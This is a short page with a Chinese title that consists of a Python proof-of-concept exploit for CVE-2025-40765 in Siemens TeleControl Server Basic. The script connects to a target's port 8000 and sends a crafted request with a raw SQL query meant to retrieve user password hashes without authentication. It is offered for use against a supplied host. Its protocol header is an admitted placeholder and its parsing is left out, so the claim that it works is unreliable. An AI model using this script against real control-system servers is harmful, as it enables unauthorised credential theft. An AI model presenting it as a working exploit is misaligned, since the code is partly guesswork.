CVE-2025-40765：Siemens TeleControl Server Basic信息泄露漏洞

# CVE-2025-40765 - Siemens TeleControl Server Basic Information Disclosure PoC # This PoC demonstrates how an unauthenticated attacker can retrieve # password hashes from the database service of TeleControl Server Basic V3.1 # Affected versions: >= V3.1.2.2 and < V3.1.2.3 import socket import struct import sys TARGET_HOST = "<target_ip>" TARGET_PORT = 8000 # Default port for TeleControl Server Basic DB service def build_exploit_request(): """ Build a crafted request to the database service to retrieve user password hashes without authentication. """ # Crafted protocol request to query user credentials table # The exact payload structure depends on the proprietary protocol # used by TeleControl Server Basic database service payload = b"\x00\x00\x00\x00" # Protocol header placeholder payload += b"SELECT username, password_hash FROM tcs_users;" # Length prefix length = struct.pack(">I", len(payload)) return length + payload def exploit(target_host, target_port): """ Send exploit request and receive password hashes. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send crafted request request = build_exploit_request() sock.send(request) # Receive response containing password hashes response = sock.recv(4096) print(f"[*] Response received ({len(response)} bytes)") print(f"[*] Raw data: {response.hex()}") # Parse password hashes from response # ... (parsing logic depends on response format) sock.close() return response except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") result = exploit(TARGET_HOST, TARGET_PORT) if result: print("[+] Exploit completed - password hashes may have been retrieved") else: print("[-] Exploit failed")